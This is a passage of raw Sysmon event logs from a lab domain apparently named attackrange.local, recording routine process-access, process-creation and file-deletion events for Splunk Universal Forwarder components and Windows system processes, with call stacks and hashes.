Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000048101Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:17.819{7BD73061-71D5-613B-350B-00000000F001}5208C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe8.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x800000000000000048100Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:17.318{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-71D5-613B-340B-00000000F001}5472C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048099Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:17.318{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048098Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:17.318{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048097Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:17.318{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048096Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:17.318{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048095Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:17.318{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-71D5-613B-340B-00000000F001}5472C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000048094Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:17.318{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-71D5-613B-340B-00000000F001}5472C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000048093Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:17.319{7BD73061-71D5-613B-340B-00000000F001}5472C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000048092Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:17.084{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6FAA820026EFFEA84DAD30AADF7DD938,SHA256=7AA68F0120D23EA9B682476F14F29DB1A06A8AFFAFC1E44076E8EDF9ED44F7D4,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015806Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:18.804{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4F2A7E106100CA96BC84F9A93290D39D,SHA256=726796F21CA3B2546144DD0A044C0E0720685CC601FD07120723242DD0055F6A,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000048120Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:18.615{7BD73061-71D6-613B-360B-00000000F001}25204776C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6025c5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6020f6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+59e67|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+5b88c|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+8e7d70|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000048119Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:18.381{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=FE1152D3347176B79071CD4FBD8DC0F8,SHA256=F7366203CDC99B0CEB58786FDE7DA8819F2B68ACC2987A9B76A9ABCC82E2A435,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048118Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:18.381{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=92489C5446D566C5A1D18710AFAC1043,SHA256=219D02F64DE0272A2A4D1D435D5957AA2CE80713726FBF488775EA46B9F58C79,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000048117Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:18.334{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-71D6-613B-360B-00000000F001}2520C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048116Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:18.334{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048115Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:18.334{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048114Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:18.334{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048113Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:18.334{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048112Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:18.334{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-71D6-613B-360B-00000000F001}2520C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000048111Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:18.334{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-71D6-613B-360B-00000000F001}2520C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000048110Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:18.335{7BD73061-71D6-613B-360B-00000000F001}2520C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe8.0.2Active Directory monitorsplunk ApplicationSplunk Inc.splunk-admon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000048109Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:18.115{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C7A9E1DAF54257084975C7DC634E9BB9,SHA256=FD885AFAFDD57690AF93C9C5727335A284425527EB5EB57EB8559EDBF679D0BA,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015807Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:19.804{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=34651F5071E4801F042A8133EB5AB32A,SHA256=BDB4E541A3D9FA9B5E2503D09193493783C7A2D4AD192C8E16FB7A2363BE3B65,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000048130Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:19.740{7BD73061-71D7-613B-370B-00000000F001}64082384C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048129Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:19.522{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-71D7-613B-370B-00000000F001}6408C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048128Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:19.522{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048127Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:19.522{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048126Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:19.522{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-71D7-613B-370B-00000000F001}6408C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000048125Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:19.522{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048124Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:19.522{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048123Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:19.522{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-71D7-613B-370B-00000000F001}6408C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program 